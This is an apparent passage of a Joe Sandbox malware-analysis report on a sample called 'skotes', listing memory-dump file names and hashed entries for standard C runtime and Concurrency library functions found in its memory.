Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: aa4686e9587e7ded220a5291786af77e32d18c311b138c076df228285fc14472
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 2EB104329086859FDB15CF28C8817BEBFE5EF56350F1481FAE855EB242D6349D01CBA4

Function 00BB67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BB6902
__alloca_probe_16.LIBCMT ref: 00BB6998
__freea.LIBCMT ref: 00BB6A03
__freea.LIBCMT ref: 00BB6A0F

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: e4c605daadb52b7a37783459bb602837bd8b20893cfbb11eb756c7568f7c8d5f
Instruction ID: f1b73345df5f4fe48ea4a824ce9f184b643f764afe6f3e15db893acfbd5ca47f
Opcode Fuzzy Hash: e4c605daadb52b7a37783459bb602837bd8b20893cfbb11eb756c7568f7c8d5f
Instruction Fuzzy Hash: 2C819072D002499BDF219EA58C81EFE7BE5EF49314F1941E6E854B7281E7B9CC40CBA0

Function 00BA504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BA5115
___AdjustPointer.LIBCMT ref: 00BA5138
___AdjustPointer.LIBCMT ref: 00BA51D4

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4fdbe6d751ea0ad4542f8b9232809378e9a759743343b517ad174f400e1c2f95
Instruction ID: e910d7ec11d7e784d1ee9b40920f403df6cacb8df18ed531359a77231e44568c
Opcode Fuzzy Hash: 4fdbe6d751ea0ad4542f8b9232809378e9a759743343b517ad174f400e1c2f95
Instruction Fuzzy Hash: 3A510572609A06AFDB349F14D881BBAB3F5EF12300F1445EDE901A76A0E731EE40CB90

Function 00BA4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00BA4C66
TypeidsEqual.LIBVCRUNTIME ref: 00BA4C8B
PMDtoOffset.LIBCMT ref: 00BA4CA1
PMDtoOffset.LIBCMT ref: 00BA4D22

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 68f4b2a8f4809e83f26f29c798e362bda9b6289c7009383153d58dd923bca983
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 99518B35A082099FDF11CF68C4816EEBBF5EF96364F1444EAE890A7351D7B2AE05CB50

Function 00B9DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B9DB64

Part of subcall function 00B98F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00B98F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00B9DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00B9DBE9
Concurrency::location::_Assign.LIBCMT ref: 00B9DC56

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 4c9d1fa158f5bf654decda566f94a5ab8965e4fe6236f7ed8f5a5f96cfa71c01
Instruction ID: 34ba164814d21982b131f5399fa67f230e168b4a2c1d768781c24bfb519a60c7
Opcode Fuzzy Hash: 4c9d1fa158f5bf654decda566f94a5ab8965e4fe6236f7ed8f5a5f96cfa71c01
Instruction Fuzzy Hash: 2D41EF74604210ABDF19EB25C886BBEBBF5EF45310F1480E9E5069B3C2CB70AD45CBA1

Function 00B956AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00B956F2
_InternalDeleteHelper.LIBCONCRT ref: 00B95726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00B9578B
SafeRWList.LIBCONCRT ref: 00B9579A

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
